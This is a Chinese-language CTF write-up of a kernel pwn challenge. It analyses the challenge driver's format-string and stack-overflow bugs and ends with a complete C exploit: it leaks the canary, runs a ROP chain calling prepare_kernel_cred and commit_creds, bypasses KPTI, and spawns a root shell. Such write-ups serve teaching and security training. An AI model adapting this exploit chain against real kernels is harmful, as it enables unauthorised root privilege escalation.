kernal pwn
首先还是看一下start.sh
#! /bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \
-gdb tcp::1234 -S \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep
看到不是单核单线程,那么我们就要小心条件竞争。
看得到开了kaslr,smep。
我们说内核部分的保护分成四个方面。
内核保护从四个方面出发,分别是隔离、访问控制、异常检测、随机化
隔离分为smep用户代码不可执行、smap用户数据不可访问、KPTI。
随机化也分为kaslr、fgkaslr。
然后我们我解压文件系统,看一下init文件。
mkdir core
cp rootfs.cpio ./core
cd core
mv ./rootfs.cpio rootfs.cpio.gz
#因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./rootfs.cpio.gz
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./rootfs.cpio
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract 执行copy-in模式,还原备份档。
#-d或--make-directories 如有需要cpio会自行建立目录。
#-v或--verbose 详细显示指令的执行过程。
#-m或preserve-modification-time 不去更换文件的更改时间
开了KPTI
#!/bin/sh
mkdir /tmp
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod n1drv.ko
mknod /dev/homuratql666 c 233 0
chmod 666 /dev/homuratql666
mdev -s
chmod -R 777 /sys
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
#setsid /bin/cttyhack setuidgid 0 /bin/sh
那么显然挂载了那个模块。
然后也把符号表读到了/tmp/kallsyms 就不用泄露地址啥的 直接都有
挂载了devpts,可以考虑劫持tty结构体
然后IDA。
ioctl函数。
deadbeef似乎是有一个格式化字符串。
n1drv有个函数
copy_user_generic_unrolled
/*
* Copy To/From Userspace
*/
/* Handles exceptions in both to and from, but doesn't do access_ok */
__must_check unsigned long
copy_user_enhanced_fast_string(void *to, const void *from, unsigned len);
__must_check unsigned long
copy_user_generic_string(void *to, const void *from, unsigned len);
__must_check unsigned long
copy_user_generic_unrolled(void *to, const void *from, unsigned len);
也是一个复制拷贝函数。ida里面没有显示参数,直接看汇编吧。
讲道理应该是三个参数。
第一个call rdi是栈顶。rsi是传入的user的地址。rdx理所应当就是复制的大小。那这里显然就有栈溢出。
两个call一个在栈里 一个在堆里 都复制成功才不报错
所以一会malloc得稍微大点。
所以我们的思路就还是比较明确的
格式化字符串泄露canary,基地址甚至不需要泄露 它直接放在了/tmp/kallsyms文件夹里,当然泄露泄露也行。
然后直接一个栈溢出。
开了kpti,还需要绕一下。
分步骤浅谈一下
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0); //缓冲区关掉,否则会没有输出。
int fd = open("/dev/homuratql666",O_RDWR);
if (fd < 0) {
printf("wrong with open /dev/homuratql666");
}
size_t kernal_base ;
size_t canary;
size_t rop[0x50];
char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";
add(fd, 0x400);
write(fd, format, 50);
put(fd);
getchar();
write(1,"input vmlinux addr\n",43);
scanf("%llx",&kernal_base);
write(1,"input vmlinux canary\n",45);
scanf("%llx",&canary);
当然要首先拿到基地址
基地址可以在init里面改了权限
但是这个题直接可以/tmp/kallsyms也可以
输出的canary等等啥的scanf输入就行。
然后就是构造rop链
exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
void get_shell(void){
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
void add(int fd,int size)
{
ioctl(fd,0x73311337,size);
}
void put(int fd)
{
ioctl(fd,0xDEADBEEF);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
int fd = open("/dev/homuratql666",O_RDWR);
if (fd < 0) {
printf("wrong with open /dev/homuratql666");
}
size_t kernal_base ;
size_t canary;
size_t rop[100];
char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";
add(fd, 0x400);
write(fd, format, 50);
put(fd);
printf("input vmlinux addr\n");
scanf("%llx",&kernal_base);
printf("input canary\n");
scanf("%llx",&canary);
kernal_base = kernal_base - 0x1c827f;
size_t prepare_kernel_cred = kernal_base + 0x81790;
size_t commit_creds = kernal_base + 0x81410;
size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;
size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;
size_t pop_rbx = kernal_base +0x926;//pop rbx; ret;
size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx;
size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;
size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;
printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);
printf("commit_creds:0x%llx \n",commit_creds);
save_stats();
int i = 0;
for(i = 0; i <= 60; i ++) {
rop[i] = "aaaaaaaa";
}
i = 32;
rop[i++] = canary; // canary
rop[i++] = canary; // rbp
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = push_rax;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = pop_rbx;
rop[i++] = pop_rdx;
rop[i++] = call_rbx;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t) get_shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x1b0); //copy can't more than rop
}
远程给的时间太短 怪不得零解
本地没问题。